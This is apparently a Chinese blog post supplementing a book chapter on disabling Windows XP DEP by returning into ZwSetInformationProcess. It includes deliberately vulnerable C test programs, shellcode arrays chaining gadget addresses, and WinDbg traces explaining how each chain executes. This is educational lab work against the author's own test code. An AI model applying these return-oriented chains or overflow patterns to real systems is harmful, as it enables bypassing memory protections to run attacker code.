天天看點

<Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess>一節補充

    本文補充記錄我在試驗關閉DEP過程遇到的問題和解決方法。

1.首先要說一下用OllyFindAddr插件尋找目标指令時可能會遇到的問題。誠然這個插件是個好東西,能迅速列出需要的指令流的位址,但并不是所有在列的指令位址都可以使用,入選前需要仔細甄别。以關閉DEP保護流程中為擡高esp的值而使用"Find Pop Retn+n"功能為例:

<Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess>一節補充

經過搜尋,插件羅列了一堆備選指令位址。我挑選最後一個位址"0x7D97FE43"來實作擡高esp的目的。

<Oday安全 12.3.1Ret2Libc實戰之利用ZwSetInformationProcess>一節補充

根據Memory map對話框顯示的資訊,被選的位址位于子產品shell32.dll的資源節中。對于這樣的位址,稍加思索就會猜想到當eip執行到資源節中會引發異常。當然這隻是猜測,實際還是要驗證一下。先修改shellcode,然後用windbg加載示範代碼,會很明顯的看到在執行retn 0x28後會觸發訪存失敗:

#include <windows.h>

/*
\x52\xe2\x92\x7c->mov al,0x01;ret;
\x85\x8b\x1d\x5d->push esp;pop ebp;retn 04;
\x19\x4a\x97\x7c->retn 0x28是書中給出的位址<-------------
\x43\xfe\x97\x7d->retn 0x28是本文用于示範的位址<----------
\x13\x98\xd1\x7d->jmp esp
\x24\xcd\x93\x7c->關閉DEP
*/

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\
          "\x52\xe2\x92\x7c"\
          "\x85\x8b\x1d\x5d"\
          "\x43\xfe\x97\x7d"\
          "\x13\x98\xd1\x7d"\
          "\x24\xcd\x93\x7c"\
          "\x90\x90\x90\x90"};

int test()
{
  char arry[4] = {0};
  _asm int 3;
  strcpy(arry,shellcode);
  return 0;
}      

    你可能會問我為什麼臨時用windbg替換Od來示範這個例子?因為od遇到訪存錯誤就直接進入進入第二輪異常分發的流程,不便于示範目的;而windbg停留在第一輪異常分發流程(等待使用者輸入)。下面是程式溢出後準備擡高esp而執行指令retn 28前的調試記錄:

manualDep!test+0x2e:
0040102e c3              ret
0:000> t
7c92e252 b801000000      mov     eax,1 ;調整eax的值
0:000> t
7c92e257 c3              ret
0:000> t
5d1d8b85 54              push    esp ;調整ebp的值
0:000> t
5d1d8b86 5d              pop     ebp
0:000> t
5d1d8b87 c20400          ret     4 ;擡高esp<----執行完ret 4就會準備執行ret 28      

此時堆棧頂的内容----即執行ret 4時的傳回位址為:0x7d97fe43,将該位址反彙編,得到指令ret 28h

0:000> r esp
esp=0012ff80
0:000> dd esp L4
0012ff80  7d97fe43 7dd19813 7c93cd24 90909090
0:000> u 7d97fe43  L1
shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
7d97fe43 c22800          ret     28h      

單步執行指令觸發了異常,shellcode執行失敗。異常發生時eip的值為0x7d97fe43,這正是ollyFindAddr給出的并被我随意采用的位址。 

0:000> t
(32c.70): Access violation - code c0000005 (first chance) <--------通路記憶體異常
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=7ffde000 ecx=00406054 edx=00000000 esi=007efeb8 edi=00edf554
eip=7d97fe43 esp=0012ff88 ebp=0012ff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
shell32!_pRawDllMain <PERF> (shell32+0x3efe43):
7d97fe43 c22800          ret     28h      

    由此證明,雖然od給出很多備選位址,但這些位址未必都是可用的。結論:挑選指令流的位址時要首選落在子產品可執行節中的位址。

2.作者在結尾部分蜻蜓點水般的給出了在win2k3上關閉DEP的方法。不得不說作者實在太敷衍了,一行解釋都沒有,我硬生生的調了幾天才明白背後的原理。請大家看我緩緩道來。為了縷清作者的思路和簡化溢出的過程,我重寫了一份簡單的測試代碼,直接将作者提到的用于修改esi的指令流寫在測試代碼中,免去用od搜尋位址的過程,如下(運作環境XpSp3+vc++6.0):

char shellcode[] = {"\x90\x90\x90\x90\x90\x90\x90\x90"\   //這8B是為了溢出main函數中的buf及棧中的ebp
    "\x2a\x10\x40\x00"\ //這4B是程式加載時标簽Lab1的位址,用于覆寫main函數的傳回位址
    "\x2c\x10\x40\x00"\ //這4B是标簽Lab2的位址
    "\x2e\x10\x40\x00"}; //最後4B是标簽Lab3的位址

int main()
{ 
  _asm jmp Lab4; //Lab1-Lab3隻為全局變量shellcode提供修改esi寄存器值的指令位址,并不直接參與程式的運作,是以用jmp語句跳到Lab4運作
Lab1:
  __asm
  {
    pop eax;
    retn;
  }
Lab2:
  __asm
  {
    pop esi;
    retn;
  }
Lab3:
  __asm
  {
    push esp;
    jmp eax;
  }
  char buf[4] = {0};
Lab4: 
  memcpy(buf,shellcode,20); //shellcode中有0x00這樣的位元組,strcpy會截斷字元串,是以替換為memcpy
}      

    代碼注釋中也寫道main函數的傳回位址被Lab1覆寫,這就不難想到執行ret前esp指向Lab1:

0:000> r eip,esp
eip=00401061 esp=0012ff84 ;傳回前eip指向0x401061處ret指令

0:000> ub eip L5
00401054 83c444          add     esp,44h
00401057 3bec            cmp     ebp,esp
00401059 e862030000      call    pushjmp!_chkesp (004013c0)
0040105e 8be5            mov     esp,ebp
00401060 5d              pop     ebp
0:000> u eip L1
pushjmp!main+0x51 [C:\Documents and Settings\Administrator\桌面\studio\pushjmp\pushjmp.cpp @ 34]:
00401061 c3              ret      
0:000> dd esp L8 ;傳回前esp指向的棧記憶體
0012ff84  0040102a 0040102c 0040102e 00430da0      

從0x12FF84開始的3個DWORD值是shellcode覆寫後的指令流位址,可以反彙編确認一下這串位址背後的指令:

0:000> u 0040102a  L2 ;第一個DWORD值對應程式中的Lab1
0040102a 58              pop     eax
0040102b c3              ret
0:000> u 0040102c L2 ;第二個DWORD值對應程式中的Lab2
0040102c 5e              pop     esi
0040102d c3              ret
0:000> u 0040102e L2 ;第三個DWORD值對應程式中的Lab3
0040102e 54              push    esp
0040102f ffe0            jmp     eax      

    現在我們已經清楚堆棧的分布,那就讓我們在腦海中模拟一下程式執行的流程:

執行0x401061處的ret指令---->棧頂0x12ff84儲存的值為0x40102a。導緻eip=0x40102a準備執行pop eax;ret指令流;同時棧指針esp指向0x12ff88:

0:000> t
0040102a 58              pop     eax

0:000> r eip,esp
eip=0040102a esp=0012ff88      

pop eax---->從0x12ff88中取值傳給eax,eax=0x40102c(此刻eax中儲存了pop esi;ret指令流的位址),同時設定esp=0x12ff8c使得下面的ret指令從記憶體0x12ff8c中取傳回位址,大家往前看看記憶體0x12ff8c處存放了哪條指令流的位址?對,就是Lab3後面的指令流!是以,請不要小看這條平淡的pop eax指令,它不僅把Lab2處的指令流位址傳給寄存器eax,它還使程式在執行ret後跳過Lab2處的指令直接傳回到0x40102e處執行Lab3處的指令。堪稱神奇的一跳。

0:000> t ;單步執行pop eax
eax=0040102c ;請先記住eax的值,後面馬上用到
0040102b c3              ret
0:000> r eax
eax=0040102c
0:000> r esp
esp=0012ff8c
0:000> u poi(esp) L2 ;反彙編棧頂指令,這是ret後的傳回位址
0040102e 54              push    esp
0040102f ffe0            jmp     eax
0:000> t ;再次單步執行ret,程式如約進入Lab3
0040102e 54              push    esp      

    push esp的目的是為了講堆棧指正賦給即将執行的pop esi使得esi指向可讀寫的記憶體。慢着,大家是否覺得我遺漏了什麼?前面pop esi并沒有被執行到,shellcode中其他再沒有安排pop esp,怎麼才能做到将esp的值賦給esi?請稍安勿躁接着看:

0:000> t
0040102e 54              push    esp
0:000> t
0040102f ffe0            jmp     eax {pushjmp!main+0x1c (0040102c)}
0:000> r eax ;執行jmp eax前看看eax儲存的值及對應的彙編指令
eax=0040102c
0:000> u eax L2
0040102c 5e              pop     esi
0040102d c3              ret      

啊,eax儲存了程式中Lab2處的指令,這不就是從main函數ret時遇到的那個神奇的pop?這神奇的pop eax暫時當機Lab2處代碼的執行并儲存到eax中,讓eip先執行Lab3處的代碼,然後解凍并從eax中迂回跳躍到Lab2中執行,太偉大了!

0:000> r esp,esi
esp=0012ff8c esi=007e8c4c
0:000> t
eax=0040102c esi=007e8c4c
eip=0040102c esp=0012ff8c
pushjmp!main+0x1c:
0040102c 5e              pop     esi
0:000> t
eax=0040102c esi=0012ff90
eip=0040102d esp=0012ff90
0040102d c3              ret
0:000> r esp,esi
esp=0012ff90 esi=0012ff90      

   最終shellcode成功的将esi修改為esp的值,使得esi指向的記憶體可讀寫。

繼續閱讀